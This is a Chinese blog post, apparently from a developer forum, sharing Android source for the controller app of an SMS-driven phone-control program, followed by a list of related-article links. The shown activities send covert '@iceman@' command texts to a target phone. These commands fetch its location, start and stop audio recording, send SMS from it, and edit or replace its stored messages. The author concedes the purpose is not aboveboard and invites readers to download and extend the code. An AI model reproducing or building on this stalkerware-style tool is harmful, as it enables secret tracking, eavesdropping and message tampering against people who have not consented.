- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
- mOpenLocationBtn.setClickable(false);
- mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mGetAddressBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- if (mClientNumber.equals("") == false) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mRecoderBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- if (mClientNumber.equals("") == false) {
- if (!mIsRecording) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
- mIsRecording = true;
- mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
- } else {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
- mIsRecording = false;
- mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
- }
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mSendSmsBtn.setOnClickListener(new OnClickListener() {
- public void onClick(View v) {
- if (mClientNumber.equals("") == false) {
- String str1 = mSmsNumberSetEditText.getText().toString().trim();
- String str2 = mSmsContentEditText.getText().toString().trim();
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
- null, null);
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
- }
- }
- });
- mEditSmsBtn.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- if(mClientNumber.equals("")){
- Toast.makeText(SMSadminActivity.this, "目前未控制任何手机", Toast.LENGTH_SHORT).show();
- return;
- }
- Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
- startActivity(it);
- }
- });
- }
- }
复制代码
这个是修改短信的activity:
- package iceman.android.smsadmin;
- import iceman.android.smsadmin.R;
- import android.app.Activity;
- import android.content.SharedPreferences;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.widget.Button;
- import android.widget.EditText;
- import android.widget.Toast;
- public class EditSmsActivity extends Activity {
- private SmsManager mSmsManager = SmsManager.getDefault();
- private EditText mSmsKey, mSmsNumber,mSmsContent;
- private Button mReplaceBtn,mEditBtn;
- private SharedPreferences mSharedpreferences = null;
- private String mClientNumber;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.edit_sms_layout);
- mSmsKey = (EditText) findViewById(R.id.key);
- mSmsNumber = (EditText) findViewById(R.id.number);
- mSmsContent = (EditText) findViewById(R.id.content);
- mEditBtn = (Button) findViewById(R.id.edit);
- mReplaceBtn = (Button) findViewById(R.id.repalce);
- mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
- mClientNumber = mSharedpreferences.getString("control", "");
- mEditBtn.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- String key = mSmsKey.getText().toString().trim();
- String number = mSmsNumber.getText().toString().trim();
- String content = mSmsContent.getText().toString().trim();
- if(number.equals("")){
- number = "00000000000";
- }
- if (key.equals("") == false && content.equals("") == false) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
- + "#" +number +"#"+content, null, null);
- Toast.makeText(EditSmsActivity.this,
- EditSmsActivity.this.getString(R.string.edit_sms_send_over),
- Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(EditSmsActivity.this,
- EditSmsActivity.this.getString(R.string.please_set_key_and_content),
- Toast.LENGTH_SHORT).show();
- }
- }
- });
- mReplaceBtn.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- String key = mSmsKey.getText().toString().trim();
- String number = mSmsNumber.getText().toString().trim();
- String content = mSmsContent.getText().toString().trim();
- if(number.equals("")){
- number = "00000000000";
- }
- if (key.equals("") == false && content.equals("") == false) {
- mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
- + "#" +number +"#"+content, null, null);
- Toast.makeText(EditSmsActivity.this,
- EditSmsActivity.this.getString(R.string.replace_sms_send_over),
- Toast.LENGTH_SHORT).show();
- } else {
- Toast.makeText(EditSmsActivity.this,
- EditSmsActivity.this.getString(R.string.please_set_key_and_content),
- Toast.LENGTH_SHORT).show();
- }
- }
- });
- }
- }
复制代码
因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈
4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.
基于短信的手机控制程序相关推荐
- android 打开短信应用,通过短信打开手机应用
最近在做毕业设计的时候,要通过短信打开手机上特定的APP,于是搜索了一些资料.通过短信中的链接打开应用最主要的是对manifest文件的配置,比如希望通过短信中的 http://qicaiz.com链 ...
- 基于 短信认证 通过 华为、H3C 结合 OpenPortal认证计费系统 实现 网络准入 短信验证码 访客实名认证
基于 短信认证 通过 华为.H3C 结合 OpenPortal认证计费系统 实现 网络准入 短信验证码 访客实名认证 在企业园区网络中,需要结合短信认证实现网络安全准入,访客短信验证码实名认证.方案中 ...
- python 调用接口发送短信给手机(非twilio)
python发短信给手机 这篇文章将会持续更新: 今天先给两种可以成功发送短信的方法,都是调用第三方接口的方式发送短信, 上次写过twilio的发送:https://editor.csdn.net/m ...
- android 删除短信恢复,手机短信不小心删了怎么办 手机已删除短信恢复步骤介绍【教程】...
手机短信不小心删了怎么恢复?已删除的短信怎么恢复?随着微信.QQ等聊天软件使用的人越来越多,我们现在已经很少使用手机短信聊天了,但是我们还是需要利用手机短信功能接收一些重要的信息,如果我们在使用手机短 ...
- 遇诈骗短信?360手机浏览器火眼金睛识别
本文讲的是 : 遇诈骗短信?360手机浏览器火眼金睛识别 , 手机可以说是人类史上最伟大的发明,它的出现不仅打破了人与人之间沟通的沟壑,更在近年来以移动网络的形式颠覆我们的生活方式.然而,伴随着手 ...
- Python3实现某网站自动签到并且发短信到手机
本文原创作者: Lhaihai 原创投稿详情:重金悬赏 | 合天原创投稿等你来! 0x00 前言 这几天学了学python爬虫,就想用python实现一下自动签到领取积分,毕竟我比较懒,能不动手就让代 ...
- 消息服务发送短信,手机接收不到短信解决思路
阿里云使用消息服务,发送注册码给手机.测试几次发现手机都接收不到,后台也没报错!今天我提交自己的工单,售后工程师已经帮我解决了,非常感谢他! 官方代码:https://help.aliyun.com/ ...
- iphone查看删除的短信_手机资讯:iPhone手机可以批量删除短信吗如何操作
如今使用IT数码设备的小伙伴们是越来越多了,那么IT数码设备当中是有很多知识的,这些知识很多小伙伴一般都是不知道的,就好比最近就有很多小伙伴们想要知道iPhone手机可以批量删除短信吗如何操作,那么既 ...
- Android 起调系统功能,打开系统浏览器,拨打电话,发送短信,手机震动,跳转到设置通知开关页面
1.打开系统浏览器 try {startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("https://github.com/jared ...
最新文章
- python套接字编程_Python网络编程 Python套接字编程
- Python之路,day22-BBS基础
- 计算机基础知识关于进制,计算机基础知识-- 进制和编码
- 【ARM】Programmers Model
- sklearn分类器性能评估
- Navicat for MySQL 使用SSH方式链接远程数据库
- android8卡顿,Android 8.0系统曝光,解决了安卓系统卡顿的问题
- 马斯克回应一切:2018年极其痛苦,福特难熬下次经济衰退,后悔发太多推特
- 从FindBugs中学Java【四】
- ZZULIOJ1035
- 为什么c语言没落了,编程语言Go飞速大涨,Delphi走向没落
- S3C2410,ARM920T,试题总结
- oracle时间某年某月某日,sql getdate 咋办分享Sql的getDate()用法
- 普林斯顿大学的计算机学课的作业
- 【python】pyc文件反编译为py文件
- 【TCP/IP入门】20.IP地址
- 高级威胁的攻击和防护A P T
- 静态手势识别总体方案
- 用C++模板来展示new与delete操作符原理
- StarRocks 2.0 正式发布
热门文章
- python输入多个整数 输入quit表示结束_代码实现程序启动后, 可以从键盘输入接收多个整数, 直到输入quit时结束输入. 把所有输入的整数倒序排列打印...
- 电子商务计算机考试,电子商务师考试电子商务训练试题
- 软件测试工程师的岗位职责
- 2022-2028全球与中国移动网络电话(mVOIP)市场现状及未来发展趋势
- 扎克伯格说了两句大实话!一句价值1300亿美元,另一句让美国人扎心了…
- PyQt_QMessageBox
- 孙正义的12条成功之道
- Html+Vue实现五子棋游戏(单机版)
- 浏览器只有百度不能上网,其他网站上网正常
- [ZOJ 3054] Whirlwind [模拟]